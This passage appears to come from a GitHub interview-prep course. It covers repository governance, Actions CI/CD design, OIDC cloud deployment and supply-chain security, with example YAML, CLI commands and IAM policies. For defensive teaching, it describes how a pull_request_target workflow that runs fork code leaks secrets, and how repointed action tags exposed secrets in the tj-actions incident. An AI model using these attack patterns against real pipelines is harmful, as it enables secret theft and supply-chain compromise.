- Discussions host Q&A and proposals, keeping the issue list from turning into a forum.
- Automation:
actions/add-to-projector Projects built-in workflows.
Common follow-ups
Closes #123When does it take effect? — When the PR is merged into the default branch; merging into other branches does not close it automatically.
Bonus points
Use Projects Insights for burndown charts and cycle time instead of external tools.
Common wrong answer
“Projects can only hold issues from one repository” — v2 works across repositories (organization level).
Q10. How do you configure review gates to ensure “no one can merge code into main on their own”?Intermediate
30-second answer
In the ruleset: require PRs, at least 1–2 approvals (only approvals from people with Write access or higher count),Require approval of the most recent reviewable push (the most recent push must be approved by someone other than the pusher), dismiss stale approvals, CODEOWNERS review, and resolved conversations required; bypass only for a break-glass team and only for PRs; block Actions from approving PRs; deployments add environment approvals and Prevent self-review.
In-depth answer
- “Most recent push approval” closes the gap where a colleague approves and the author then pushes a malicious commit.
- CODEOWNERS owners must have Write access; the CODEOWNERS file itself should also have owners.
- For collusion between two people: rely on audit logs and release attestations (who built it and from which commit) for after-the-fact tracing.
Common follow-ups
- What if a small team has only two people? — Review each other's work and require approval of the most recent push; in emergencies, bypass is logged and reviewed afterward.
Bonus points
Map these settings to the “change management” controls in SOC 2 / ISO 27001.
Common wrong answer
“Turning on Require 1 approval is enough” — the author can keep pushing after approval, or an admin can bypass it directly.
See Lesson 1 The full pull request workflow, Part A #5, #12.
Q11. Compared with “require branches to be up to date,” what problem does a merge queue solve? What does it require of CI?Advanced
30-second answer
“Require up-to-date branches” makes every PR rebase/merge main and rerun CI before merging, which creates an endless loop when merges are frequent; a merge queue lines up PRs to merge, validates the combination of “main + earlier PRs + this PR” on a temporary branch, fast-forwards on success, and can build several combinations in parallel. CI requirement: the workflow must respond to merge_group events and report required checks under the same names as on the PR.
In-depth answer
- The temporary branch name has the form
gh-readonly-queue/main/pr-42-…; a failed PR is removed and the later combinations are rebuilt. - Settings: build concurrency, merge group size, status check timeout, merge method.
- Availability: organization public repositories; private repositories require Enterprise Cloud (check the official docs).
on: pull_request: merge_group:
Common follow-ups
- Can slower tests run in the queue? — Yes: run fast checks on the PR,
merge_groupand run extra integration tests only in the queue (usinggithub.event_nameto tell them apart).
Bonus points
Point out that a merge queue also solves the semantic conflict where two individually green PRs turn red once merged together.
Common wrong answer
“Just enable the merge queue, no workflow changes needed” — required checks get stuck on Expected (Part A #6).
See Lesson 1 The full pull request workflow; for the Git-level answer, see Git course Lesson 8 Q30.
Q12. How do you use the gh CLI for everyday automation? Give a few examples.Beginner
30-second answer
gh It wraps common operations (gh pr create/checkout/merge --auto,gh run watch/rerun --failed,gh workflow run,gh secret set,gh release create), while gh api can call any REST/GraphQL endpoint and automatically handle authentication and pagination (--paginate) and jq filtering (-q). In Actions, set GH_TOKEN to use it.
In-depth answer
gh pr create --fill --base main --label deps && gh pr merge --auto --squash
gh run list -s failure -L 20 --json databaseId,workflowName -q '.[] | "\(.databaseId) \(.workflowName)"'
gh run rerun <id> --failed --debug
gh api --paginate orgs/O/repos -q '.[] | select(.archived|not) | .full_name' | xargs -I{} gh api repos/{}/rulesets -q 'length'
gh search prs --owner O --state open --review-requested @me
Common follow-ups
- How do you switch between multiple accounts? — Run
gh auth loginmultiple times, then usegh auth switch; note thatGH_TOKENenvironment variables take precedence.
Bonus points
Mention the gh extensions (gh extension install), and GH_DEBUG=api debugging.
Common wrong answer
“Running gh auth login interactively in CI” — an environment variable token should be used instead.
Q13. How do you standardize repository standards across an organization (templates, community files, default settings)?Intermediate
30-second answer
Three layers: (1) template repository (with CI, CODEOWNERS, dependabot.yml, and a README skeleton) used for new repositories; (2) the organization's .github repository provides default community health files (CONTRIBUTING, SECURITY, issue/PR templates) and workflow templates (starter workflows); (3) policy layer— organization rulesets, custom properties, required workflows (in the form of “Require workflows to pass” in a ruleset; check the official docs), and security configurations that uniformly enable security features. Align existing repositories in bulk using scripts or Terraform.
In-depth answer
- Templates only affect the moment of creation and drift afterward; real enforcement comes from rulesets and security configurations.
- The Terraform GitHub provider can manage repository settings, team permissions, and rulesets, combined with drift detection.
Common follow-ups
- How do you measure compliance? — Custom properties + API-based scan reports, or the enterprise-level security overview.
Bonus points
Mention InnerSource: a shared workflow repository + versioning + a changelog.
Common wrong answer
“Copy the CI file into every repository” — you can't upgrade them all consistently afterward; use reusable workflows.
See Lesson 1 Markdown, templates, and repository community files,Lesson 5 Organization-level governance.
Scenario 5-1: a 40-person team moves from “everyone is Admin” to least privilege
Current state: one organization, 60 repositories, all members are repository Admins, main is unprotected, and CI uses a former colleague's PAT. Provide a 4-week plan.
Key points of the reference answer
- Week 1: inventory (members, teams, direct grants, PATs in secrets, webhooks, deploy keys); establish team structure (by product line + platform + security).
- Week 2: change the base permission to Read and grant Write/Maintain by team; keep Admin for only 2–3 platform staff; create a release GitHub App and replace the PAT (Part A #50).
- Week 3: organization ruleset in Evaluate mode (require PRs, block force pushes, required checks
ci-ok); fix the workflows. - Week 4: switch to Active; give bypass only to the break-glass team (PRs only); audit log alerts; codify in Terraform.
- Communication: announce in advance, publish an FAQ, and hold office hours; measure PR cycle time to keep governance from slowing delivery.
Scenario 5-2: choose an integration approach for a Jira sync service
You need to sync PR status from 200 repositories to an external system in real time, and be able to write PR comments back.
Key points of the reference answer
- GitHub App (installed at the organization level, with permissions
pull_requests: write,metadata: read), subscribe topull_request,pull_request_review,check_suitewebhooks. - Receiver: signature verification → enqueue → idempotent processing (Q8); a daily GraphQL reconciliation to catch gaps.
- Write-back: cache installation tokens and refresh them early; serialize write operations to avoid secondary rate limits.
- No PATs and no polling; store the App private key in a secrets vault and rotate it.
Instructional video (title and channel verified via YouTube oEmbed)
No verified video specifically covering GitHub interview questions was found. Consider recording yourself with this module's “Mock interview” and reviewing the playback.
Module 6 · Part B: Actions and CI/CD (interview Q 14–25)
- Explain Actions from the perspective of the “control plane (GitHub scheduling) / data plane (runner execution)” and use that to answer security and performance questions.
- For each question, be able to write at least one key piece of YAML (permissions, concurrency, matrix, workflow_call, cache key).
Q14. Describe the architecture of GitHub Actions: what happens from a push to the end of a job?Beginner
30-second answer
A push generates an event → GitHub reads the workflow files on that commit .github/workflows/*.yml and matches on against the filters → creates a run for each workflow, using needs to build the job dependency graph → ready jobs enter a queue, carrying their runs-on labels while waiting for a runner → a runner (hosted VM or self-hosted) claims the job through long polling and gets job-scoped GITHUB_TOKEN and secrets → runs the steps in order (downloads actions, runs scripts) → logs are streamed, artifacts and cache are written to storage → the result is written back as a check run, which drives the PR's required checks.
In-depth answer
- Hosted runners use a new VM for each job, destroyed when the job ends; self-hosted runners are reused by default (ephemeral is recommended).
- Runners only need outbound HTTPS connections to GitHub; no inbound ports are required.
- Action types: JavaScript (node24), Docker container, composite.
Common follow-ups
- How do jobs pass data between each other? — outputs (small strings), artifacts (files); steps within the same job share the working directory.
Bonus points
Mention that schedule/dispatch read the workflow on the default branch (Part A #13), and how check names determine required check matching (#3).
Common wrong answer
“All jobs run one after another on the same machine” — each job gets its own runner, and jobs run in parallel by default.
Q15. How do you enforce least privilege for GITHUB_TOKEN?Intermediate
30-second answer
Set the organization/repository default permissions to read-only; declare at the top level of each workflow permissions: {} or contents: read, then grant permissions separately in the jobs that need them (such as pull-requests: write,id-token: write,packages: write). Once you write permissions, any permissions not listed are none. The “GITHUB_TOKEN Permissions” section at the top of the log is used to verify.
In-depth answer
permissions: {} # top level: no permissions by default
jobs:
test:
permissions: { contents: read }
release:
needs: test
permissions: { contents: write, id-token: write, attestations: write }- Reusable workflows: the called workflow cannot have more permissions than the caller grants.
- For fork PRs and Dependabot triggers, the token is forced to read-only.
Common follow-ups
- Which tools can check this? — actionlint (syntax), zizmor, and the OpenSSF Scorecard Token-Permissions check.
Bonus points
Point out that even with a read-only token, log, artifact, and cache poisoning remain risks — least privilege is one layer of defense in depth.
Common wrong answer
“GITHUB_TOKEN is temporary, so granting write-all is fine” — malicious code injected during the job can push code and modify releases.
See Lesson 2 GITHUB_TOKEN permissions, Part A #14.
Q16. What are the differences and security risks of pull_request, pull_request_target, and workflow_run?Advanced
30-second answer
pull_request Runs in the context of the PR's merge commit; for fork-sourced PRs there are no secrets and the token is read-only — the safe default choice. pull_request_target Runs in the base branch context, with secrets and a write token, used to label or comment on fork PRs,must never check out and execute PR code. workflow_run Runs in the base repository context after another workflow completes; commonly used to “read untrusted artifacts and write back results.” Likewise, it must not execute content from the PR.
In-depth answer
- pwn request:
pull_request_target+actions/checkoutChecking outgithub.event.pull_request.head.sha+npm install(which runs postinstall scripts from the PR) → secret leakage and cache poisoning. - Starting with checkout v7.0.0, checking out fork PRs is blocked by default for these two events as an extra safeguard.
- Cache poisoning: caches written in the base branch context can be read by main, so do not generate caches from PR content in a privileged context.
Common follow-ups
- Which one is needed just to add a label to a PR? —
pull_request_target, and it does not check out code (such asactions/labelera read-only file list).
Bonus points
Be able to cite public incident examples (multiple open source projects leaked tokens due to pwn requests), and name zizmor's detection rule category (dangerous-triggers).
Common wrong answer
“pull_request_target is pull_request 's enhanced version” — it is a privileged context, and misusing it creates a vulnerability.
See Lesson 5 Actions security hardening, Part A #7.
Q17. What is the difference between cache and artifacts? What are the pitfalls of each?Beginner
30-second answer
Cache speeds up regenerable dependencies (pip/npm/Gradle); lookup by key, branch-scoped (a PR can read its own cache and the default branch's cache), not overwritable, evicted after 7 days unused or when over quota (10 GB per repository by default); a cache hit or miss should not affect correctness. Artifacts store job outputs (build packages, test reports), downloadable between jobs or after the run, referenced by name, with a default retention of 90 days, counted toward storage charges.
In-depth answer
- Cache key:
${{ runner.os }}-pip-${{ hashFiles('**/requirements*.txt') }}+restore-keysprefix. - Artifacts v4+ backend: names cannot be repeated within the same run, artifacts are downloadable immediately after upload, and it is not compatible with v3.
- Do not use caches to pass build outputs (they can be evicted or poisoned), and do not use artifacts as a long-term release repository (they expire).
Common follow-ups
- How do you cache Docker layers? — buildx
cache-to: type=ghaor push cache tags to an image registry.
Bonus points
Mention cache poisoning risks and the strategy of “saving caches only on the default branch” (actions/cache/restore + save splitting the restore and save steps).
Common wrong answer
“Caches are shared across all branches” — caches are not shared between feature branches.
See Lesson 2 Caches and artifacts, Part A #15, #16.
Q18. Explain matrix strategy: include/exclude, fail-fast, max-parallel, and dynamic matrix.Intermediate
30-second answer
matrix expands jobs as the Cartesian product of dimensions (up to 256 matrix jobs per single workflow run); exclude remove combinations,include add combinations or add variables to existing combinations; fail-fast defaults to true (one failure cancels the rest); max-parallel limits concurrency; a dynamic matrix takes JSON output from a previous job, then uses fromJSON() to expand, commonly used in monorepos to test only changed services.
In-depth answer
jobs:
plan:
runs-on: ubuntu-latest
outputs: { services: "${{ steps.f.outputs.services }}" }
steps:
- uses: actions/checkout@v7
- id: f
run: echo 'services=["api","worker"]' >> "$GITHUB_OUTPUT" # in practice computed by paths-filter
test:
needs: plan
if: needs.plan.outputs.services != '[]'
strategy:
fail-fast: false
matrix: { service: "${{ fromJSON(needs.plan.outputs.services) }}" }
runs-on: ubuntu-latest
steps: [ { run: "echo testing ${{ matrix.service }}" } ]
Common follow-ups
- How do you make matrix jobs required checks? — Use an aggregate job (Part A #3).
- What happens with an empty matrix? — The job errors out, so add
ifa condition check.
Bonus points
Mention that fail-fast saves money on PRs, while fail-fast: false on nightly builds gives full information.
Common wrong answer
“continue-on-error Setting it on a step is enough to let the other matrix jobs keep going” — that only affects that step.
See Lesson 2 matrix and concurrency, Part A #17.
Q19. How does concurrency work? How do you configure it for CI and for deployments respectively?Intermediate
30-second answer
Within the same group in the group: at most one run is in progress plus one pending; when a new run enters, the earlier pending run is canceled; cancel-in-progress: true also cancels the one currently running. CI groups by PR/branch and cancels old runs to save money; deployments group by environment and do not cancel in-progress runs, which avoids mid-run interruptions.
In-depth answer
# CI
concurrency: { group: "ci-${{ github.workflow }}-${{ github.head_ref || github.ref }}", cancel-in-progress: true }
# deployment
concurrency: { group: "deploy-${{ inputs.environment }}", cancel-in-progress: false }- A concurrency group is not a queue: intermediate versions get skipped; for deployments this is usually the correct behavior (deploy the latest).
Common follow-ups
- How do you prevent an older commit from overwriting a newer deployment? — An environment-level concurrency group + comparing SHA ancestry before deploying (Part A #33).
Bonus points
Point out that the group name uses github.ref when,pull_request in the event, it is refs/pull/N/merge, which naturally groups by PR.
Common wrong answer
“concurrency makes runs queue up and execute one after another” — only one pending run is kept.
See Lesson 2 matrix and concurrency, Part A #18.
Q20. How do you choose between reusable workflows and composite actions?Intermediate
30-second answer
Reusable workflow (on: workflow_call) reuses an entire set of jobs: it can contain multiple jobs,runs-on, environments, and its own permissions; the caller writes uses: at the job level, suited to “standard CI/CD pipelines.”composite action Composite action reuses a group of steps, running in the caller's job and runner; suited to snippets such as “install toolchain + log in.”
In-depth answer
| Reusable workflow | composite action | |
|---|---|---|
| Granularity | Job | Step |
| secrets | Explicitly passed in, or secrets: inherit | can only be passed in through inputs |
| environment / runs-on | Can define | inherits the caller's |
| Logs | each job separate | collapsed within one step |
| Versioning | org/repo/.github/workflows/x.yml@ref | org/repo/path@ref |
Common follow-ups
- How do you share reusable workflows in private repositories? — Allow organization access in their Actions settings (Part A #23).
Bonus points
Platform teams enforce standard pipelines by combining a reusable workflow with a ruleset that requires that workflow to pass.
Common wrong answer
“A composite action can have its own runs-on” — it can't.
Q21. How do you choose between GitHub-hosted runners, larger runners, self-hosted runners, and ARC?Advanced
30-second answer
By default, use standard GitHub-hosted runners (zero maintenance, a clean VM per job, free for public repositories); when you need more CPU/memory/GPU, a fixed outbound IP, or a private network, use larger runner (billed per minute, can be placed in runner groups); when you need access to an internal network, special hardware, or per-minute costs are too high, use self-hosted runners, and on Kubernetes use ARC (Actions Runner Controller, which autoscales based on the queue with ephemeral runners). Do not use self-hosted runners for public repositories.
In-depth answer
- ARC:
gha-runner-scale-set-controller+ one Helm release per scale set,minRunners/maxRunners, ephemeral pods (check the official docs for installation and versions). - Security: isolate self-hosted runners (destroy per job), minimize cloud permissions, and restrict runner groups to specific repositories.
- Cost: hosted runners have had price reductions since 2026-01-01; the plan to charge a platform fee for self-hosted runners has been postponed (check the official billing docs).
Common follow-ups
- How do you monitor? — Queue time, runner utilization, job failure rate; ARC exposes Prometheus metrics.
Bonus points
Mention Azure private networking for hosted runners (hosted runners connected to your VNet) as a solution for “needing both managed hosting and internal network access”; check the docs for availability.
Common wrong answer
“Self-hosted is always cheaper” — you must account for maintenance, idle time, and security costs.
See Lesson 7 Self-hosted runners and ARC · performance · cost, Part A #19.
Q22. What are the differences between secrets, variables, and environments? How are secrets protected?Beginner
30-second answer
secrets Encrypted storage (three levels: organization/repository/environment), injected at runtime, automatically masked in logs, and not available to fork PRs; variables store non-sensitive configuration (regions, resource names), readable in plain text; environments is a deployment target, with its own secrets/variables and protection rules (required reviewers, wait timer, branch policies); a job declares environment: before it can read environment secrets, and execution starts only after approval passes.
In-depth answer
- Masking matches only the exact value: base64 or concatenated values are not masked; use
::add-mask::to mask derived values. - Precedence for same-named values: environment > repository > organization.
- A better approach: use OIDC for cloud credentials, and do not store them in secrets (Module 3).
Common follow-ups
- Can secrets be used in
if:? — They cannot be referenced directly; map them to env first (Part A #21).
Bonus points
Dependabot secrets are a separate set (Part A #47).
Common wrong answer
“Secrets are masked, so echoing them is safe” — once transformed they are not masked, and malicious code can send them to an external server.
See Lesson 2 secrets, variables, and GITHUB_TOKEN,Lesson 3 environments.
Q23. How would you bring CI down from 25 minutes to 8 minutes?Intermediate
30-second answer
First measure (time per job/step, queue time), then rank by payoff: (1) dependency caching and Docker layer caching; (2) split work into parallel jobs and shard tests (matrix); (3) run only the affected parts (path filters, monorepo build graph); (4) cancel stale runs (concurrency); (5) use larger runners when needed; (6) move slow tests to merge_group/nightly.
In-depth answer
test:
strategy: { matrix: { shard: [1, 2, 3, 4] } }
steps:
- run: pytest -q --splits 4 --group ${{ matrix.shard }} # pytest-split example- Checkout:
fetch-depth: 1(default); fetch more history only when needed. - Metrics: use the API to export
jobsofstarted_at/completed_atto build trend charts.
Common follow-ups
- Caching made things slower? — The cache is too large (download and extract time > install time); narrow the path or change strategy.
Bonus points
Distinguish “queue time” from “execution time” — the former depends on runner capacity, the latter on parallelism and caching.
Common wrong answer
“Just switch to the largest runner” — single-threaded tests don't get faster just because there are more cores.
See Lesson 7 Performance: caching, parallelism, and larger runners.
Q24. How do you design CI in a monorepo so that changing one line doesn't run all 40 services?Advanced
30-second answer
The first job computes the affected services (dorny/paths-filter or the dependency graph of build tools such as Nx/Bazel/Turborepo), outputs JSON, and downstream jobs use a dynamic matrix to build/test only those services; set only one aggregate job with a stable name as the required check, to avoid “services that did not run staying Expected forever.” Do not use workflow-level paths filters as a prerequisite for required checks.
In-depth answer
- A change to a shared library → all services that depend on it are affected: path rules must include dependency relationships, or hand this off to the build tool.
- CODEOWNERS assigns by directory; rulesets can require review from specific teams by path.
- Cache keys are per service; run the full suite nightly to catch anything the dependency graph missed.
Common follow-ups
- Why not write one workflow per service with
pathsworkflow? — Required checks cannot work that way (a check that never runs stays Expected; Part A #3).
Bonus points
Mention Git-level sparse checkout/partial clone (Git course Lesson 8 Q39–Q40) combined with change detection at the CI level.
Common wrong answer
“Running everything is the safest option” — the cost and wait times are unacceptable, and the team will start ignoring CI.
Q25. A workflow fails only in CI but works locally — how do you debug it?Intermediate
30-second answer
In order: read gh run view --log-failed → rerun with debug logging (gh run rerun --failed --debug, or set ACTIONS_STEP_DEBUG/ACTIONS_RUNNER_DEBUG) → print environment differences (tool versions,env, working directory, permissions) → reproduce locally using act or the same container image → if necessary, use a restricted SSH debugging session in a private repository. Common differences: time zone/locale, case-sensitive filesystems, parallelism, network, credentials and permissions.
In-depth answer
gh run view <id> --log-failed | tail -50 gh run rerun <id> --failed --debug act pull_request -j test --container-architecture linux/amd64 # approximate local reproduction (not fully equivalent)
actThe image differs from the hosted runner's image, and permissions, OIDC, and cache services cannot be fully simulated.
Common follow-ups
- How do you inspect the context? — A temporary step
echo '${{ toJSON(github.event) }}'(be careful not to print secrets).
Bonus points
First determine whether it is flaky (passes on rerun) or a deterministic failure; track and quarantine flaky tests rather than retrying indefinitely.
Common wrong answer
“Add a sleep in the workflow until it works” — this just masks the problem.
See Lesson 7 Troubleshooting methodology and debug logs · local debugging and testing (act, etc.).
Scenario 6-1: design a unified CI/CD for Python services across the organization
50 Python service repositories each copied a different version of CI, making upgrades difficult. Design a unified approach.
Key points of the reference answer
- Platform repository
platform-workflowsProvides reusable workflows:python-ci.yml(lint, test, coverage, aggregate jobci-ok),container-release.yml(build, push, attest),deploy.yml(OIDC + environment). - Publish semantic versions; callers pin by SHA and upgrade via Dependabot.
- Organization rulesets require
ci-okto pass; optionally, use a rule to “require specific workflows to pass” (check the official docs). - Allow organization access to the private platform repository; document the permissions callers need (id-token, etc.).
- Migration: start with 5 pilot repositories, provide a migration script, and retire the old CI quarterly.
Scenario 6-2: an open source project wants to automatically post coverage comments on external PRs
Maintainers want fork PRs to get coverage comments too, but secrets must not be leaked.
Key points of the reference answer
pull_requestWorkflow: run tests, generatecoverage.jsonand the PR number, upload as an artifact, withcontents: readpermissions.workflow_run(types: completed) workflow:actions: read+pull-requests: write, downloads the artifact,strictly validates the JSON structure and PR number, then calls the API to comment; it does not check out PR code or execute artifact contents.- First-time contributors' runs require maintainer approval; scan workflows with zizmor.
Instructional video (title and channel verified via YouTube oEmbed)
Module 7 · Part B: Cloud deployment and supply chain security (interview Q 26–38)
- Be able to draw on a whiteboard the OIDC token exchange and the supply chain path of “source → build → attestation → verification at deployment.”
- Be able to use a real incident (tj-actions/changed-files, CVE-2025-30066) to argue why SHA pinning and least privilege are necessary.
Q26. Explain OIDC deployment in GitHub Actions: why is it better than storing cloud keys?Intermediate
30-second answer
After a job declares id-token: write the runner can request a short-lived JWT from GitHub's OIDC provider (issuer https://token.actions.githubusercontent.com, with claims such as repository, branch/environment, and workflow, signed by GitHub's private key); the cloud (Entra ID / AWS STS / GCP WIF) verifies the signature using the public JWKS, checks conditions such as issuer, audience, and subject, and returns short-lived cloud credentials. There are no long-lived keys to leak or rotate, and trust conditions can be as precise as “which environment of which repository.”
In-depth answer
- The JWT is valid for only a few minutes; the cloud credentials obtained in exchange typically last 1 hour.
- Common claims:
sub,aud,repository,repository_id,repository_owner_id,environment,ref,job_workflow_ref,runner_environment. - The subject template can be customized at the organization/repository level (
include_claim_keys).
Common follow-ups
- Can OIDC prevent malicious workflows? — Not completely: any code that runs on a trusted branch or environment can obtain credentials, so combine it with branch protection, environment approvals, and least-privilege cloud permissions.
Bonus points
Mention immutable subjects (since 2026-07-15, newly created, renamed, or transferred repositories default to the owner-id/repo-id format), which address the impersonation risk of “a repository name being reclaimed.”
Common wrong answer
“OIDC means GitHub securely stores cloud keys for you” — there are no cloud keys at all.
Q27. How do you design the OIDC subject and trust conditions so that only the prod environment can deploy to prod?Advanced
30-second answer
The deployment job uses environment: prod, and cloud trust accepts only repo:org/app:environment:prod (or an equivalent subject in immutable format); the environment configures required reviewers and branch/tag policies (allowing only main or v* tags). This way, even if someone writes a deployment workflow on a feature branch, they cannot obtain prod credentials. PR plans use a separate read-only identity, with the subject set to …:pull_request.
In-depth answer
- Tighten further: add to the subject template
job_workflow_ref, requiring that deployment be initiated by a specific reusable workflow (pinned version) in the platform repository. - AWS uses
StringEqualsfor exact matching; when multiple values are needed, list them as an array, avoiding broadStringLike "repo:org/*". - Entra FIC uses exact matching, one credential per context; for the expression capabilities of flexible FIC, see Microsoft Learn.
Common follow-ups
- Why not use a branch as the subject? — Environments can layer approvals and branch policies on top, and their meaning is closer to a “deployment target.”
Bonus points
Point out that when renaming/transferring repositories or switching to immutable subjects, add the new conditions before removing the old ones (Part A #29).
Common wrong answer
“Checking only aud in the trust conditions is enough” — any GitHub repository can request a token for that aud.
See Lesson 3 environments, Part A #26, #27.
Q28. On Azure, should GitHub OIDC use an app registration or a user-assigned managed identity? What are the limitations?Intermediate
30-second answer
Both support federated identity credentials. User-assigned managed identities can be declaratively managed in a resource group using ARM/Bicep/Terraform, do not require Entra directory app registration permissions, and suit one identity per environment; app registrations suit scenarios that need Microsoft Graph permissions or multitenancy. Limits: each app/identity supports up to 20 FICs; subjects are matched exactly; RBAC role assignments are still required after sign-in (authentication ≠ authorization).
In-depth answer
az identity create -g rg-gh-lab -n id-myapp-prod az identity federated-credential create -g rg-gh-lab --identity-name id-myapp-prod -n gh-prod \ --issuer https://token.actions.githubusercontent.com \ --subject repo:myorg-lab/myapp:environment:prod --audiences api://AzureADTokenExchange
Common follow-ups
- What is needed in the workflow? —
azure/login@v3ofclient-id,tenant-id,subscription-id(store in variables rather than secrets, since they are not confidential) +id-token: write.
Bonus points
Mention that the PR plan identity gets only Reader, the apply identity gets Contributor at resource group scope, and role assignments are written in IaC.
Common wrong answer
“The client-id is a secret and must go in secrets” — it is only an identifier; security comes from the FIC subject constraint.
Q29. Write a secure AWS IAM trust policy, and explain how to handle multi-account deployments.Advanced
30-second answer
Principal is the IAM OIDC provider in this account token.actions.githubusercontent.com, Action is sts:AssumeRoleWithWebIdentity, with the condition aud = sts.amazonaws.com and sub scoped precisely to the repository + environment. Multi-account: one deployment role per account, each trusting GitHub OIDC (or create an entry role in a tooling account and chain-assume from there), with environments mapped one-to-one to accounts (dev/staging/prod).
In-depth answer
{ "Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:myorg-lab/myapp:environment:prod" } } }- Keep the permission policy minimal (allow only specific ECR repositories and ECS services); permission boundaries and SCPs can be added.
role-duration-secondsDo not exceed MaxSessionDuration (Part A #38).
Common follow-ups
- Why can't sub be
repo:myorg-lab/*? — Any repository in the organization (including newly created experimental repositories) can assume the role.
Bonus points
Mention IAM Access Analyzer checks for overly broad OIDC trust, and auditing of AssumeRoleWithWebIdentity events in CloudTrail.
Common wrong answer
“Having an aud condition is enough to be secure” — see Q27.
See Lesson 4 OIDC federated identity · multi-account and environment promotion.
Q30. What protection rules are available for environments? How do you implement a promotion process where dev is automatic and prod requires approval?Intermediate
30-second answer
Protection rules: required reviewers (up to 6 users/teams, self-review can be prevented), wait timer, deployment branch and tag policies, custom deployment protection rules (third-party Apps, such as change tickets/monitoring checks), and environment-level secrets/variables. Promotion: in one workflow, build → deploy-dev → deploy-staging → deploy-prod, each deployment job is bound to its corresponding environment; the prod environment sets an approver team and allows only main.
In-depth answer
deploy-prod:
needs: deploy-staging
environment: { name: prod, url: "https://myapp.example.com" }
concurrency: { group: deploy-prod, cancel-in-progress: false }
permissions: { id-token: write, contents: read }- Approval records and deployment history can be traced on the Deployments page; waiting for approval does not occupy a runner.
Common follow-ups
- What if an approver leaves and the deployment gets stuck? — Use teams with at least two people (Part A #30).
Bonus points
Custom deployment protection rules can turn conditions like “no active monitoring alerts” and “within a change window” into automatic gates.
Common wrong answer
“Using if: github.actor == 'boss' to implement approval” — anyone who can edit the workflow can bypass it.
See Lesson 3 environments, approvals, and deployment protection rules.
Q31. How do you implement blue-green / canary releases and rollbacks with GitHub Actions?Advanced
30-second answer
Actions handles orchestration, and traffic shifting is left to the platform: Azure Container Apps uses multiple revisions + traffic weights; ECS uses CodeDeploy blue-green; Kubernetes uses Argo Rollouts/Flagger or GitOps. Flow: deploy the new version (0% traffic) → smoke test → 10% → observe metrics → 100%; on failure, shift traffic back to the old revision. Rollback is a separate dispatch workflow that deploys a specified version by image digest, rather than “rerunning an old run.”
In-depth answer
az containerapp update -n myapp -g rg-gh-lab --image $IMG --revision-suffix ${GITHUB_SHA::7}
az containerapp ingress traffic set -n myapp -g rg-gh-lab --revision-weight myapp--${GITHUB_SHA::7}=10 latest=90 # check the az docs for the exact parameter format
# after observing metrics → 100%; on failure → shift weight back to the old revision
Common follow-ups
- How do you coordinate database migrations? — Use the expand/contract pattern to keep old and new versions compatible at the same time.
Bonus points
Point out that rerunning an old run runs into problems such as changed trust configuration and expired artifacts (Part A #34).
Common wrong answer
“Rollback means git revert and then rerunning the whole pipeline” — too slow (build + approval); switch to the previously verified artifact instead.
See Lesson 3 Deploying to Container Apps / AKS,Lesson 4 ECS.
Q32. Why should third-party actions be pinned to a commit SHA? Explain using the tj-actions incident.Intermediate
30-second answer
Tags (@v4) are movable pointers. If an action repository is compromised, an attacker can repoint the tags to malicious commits, and every workflow that references them by tag immediately runs the malicious code. The 2025-03-14/15 tj-actions/changed-files incident (CVE-2025-30066, GHSA-mrrh-fwg8-r2c3) was exactly this: multiple version tags were repointed, and the malicious code printed secrets from runner memory to logs, so logs in public repositories leaked secrets; fixed in 46.0.1. Users pinned to a 40-character SHA were not affected.
In-depth answer
- Approach:
uses: owner/action@<sha> # v1.2.3, and Dependabot automatically updates the SHA and comment. - Organization policy: allow only allowlisted actions, and can require SHA pinning (Part A #42).
- Defense in depth: minimal
permissions, OIDC instead of long-lived secrets, and outbound network monitoring (such as harden-runner-type tools).
Common follow-ups
- What risks remain after SHA pinning? — The action itself may fetch unpinned dependencies or Docker images (
:latest); other actions referenced inside a composite action may also be unpinned.
Bonus points
Incident response: search for all references in the organization, check logs for leaks, and rotate affected secrets.
Common wrong answer
“Using @main gets security fixes promptly” — it also gets malicious code promptly.
Q33. What is an artifact attestation? What is its relationship to SLSA? How do you verify one?Advanced
30-second answer
An artifact attestation is a signed statement that “the artifact with this digest was built by which repository, which workflow, and which commit” (SLSA build provenance, in-toto format), issued by actions/attest-build-provenance using Sigstore (public repositories use public Sigstore, private repositories use GitHub's private instance). Verify with: gh attestation verify <file or oci://image> --owner org, and can add --signer-workflow to require that the artifact be built by a specific reusable workflow; run this check in admission control before deployment.
In-depth answer
- Permissions:
id-token: write(fetch the signing certificate) +attestations: write. - Building with a reusable workflow and a pinned signing workflow can reach a higher SLSA build level (isolated build definition).
- Attestations for private/internal repositories require Enterprise Cloud (check the official docs).
Common follow-ups
- What is the difference between an attestation and signing an image (cosign sign)? Signing says “who vouches for it”, while an attestation says “how it was built”.
Bonus points
Point out that an attestation is bound to the digest; re-pushing the same tag with a different digest makes verification fail (Part A #48).
Common wrong answer
“Having an attestation means the code has no vulnerabilities”—an attestation proves provenance and integrity, not security.
Q34. What are an SBOM, a dependency graph, and dependency review? How do you block vulnerable dependencies at the PR stage?Intermediate
30-second answer
Dependency graph Built from manifest/lock files (or the dependency submission API); can be exported in SPDX format SBOM; Dependency review Compares dependency changes on the PR, showing vulnerabilities and licenses of newly added dependencies,actions/dependency-review-action can fail the check on high-severity vulnerabilities or forbidden licenses and be made a required check; Dependabot alerts covers dependencies already on the default branch.
In-depth answer
- uses: actions/dependency-review-action@v4 # check Releases for the current major version
with:
fail-on-severity: high
deny-licenses: GPL-3.0-only, AGPL-3.0-onlygh api repos/O/R/dependency-graph/sbom > sbom.spdx.json
Common follow-ups
- Does it work for private repositories? It requires the appropriate Code Security license (Part A #49).
Bonus points
Attach the SBOM to the release as an attestation (SBOM attestation) so downstream consumers can verify it.
Common wrong answer
“Dependabot already alerts us, so there is no need to worry at the PR stage”—that is after-the-fact alerting; dependency review blocks issues up front.
Q35. What are the best practices for building and pushing container images in Actions? (GHCR / ECR / ACR)Intermediate
30-second answer
Build with buildx (docker/build-push-action) and export the layer cache to type=gha or a registry; tag with an immutable commit SHA (plus a semantic version), and deploy by digest reference; auth: GHCR uses GITHUB_TOKEN + packages: write, ECR/ACR use OIDC; after pushing, generate provenance attestations and an SBOM; PRs only build and do not push.
In-depth answer
- Multi-arch:
platforms: linux/amd64,linux/arm64(QEMU or a native arm runner). - On the registry side: ECR tag immutability and lifecycle policies to keep released versions (Part A #34); give the ACR push identity only AcrPush (#32).
- For optimizing the image itself, see the Docker lesson.
Common follow-ups
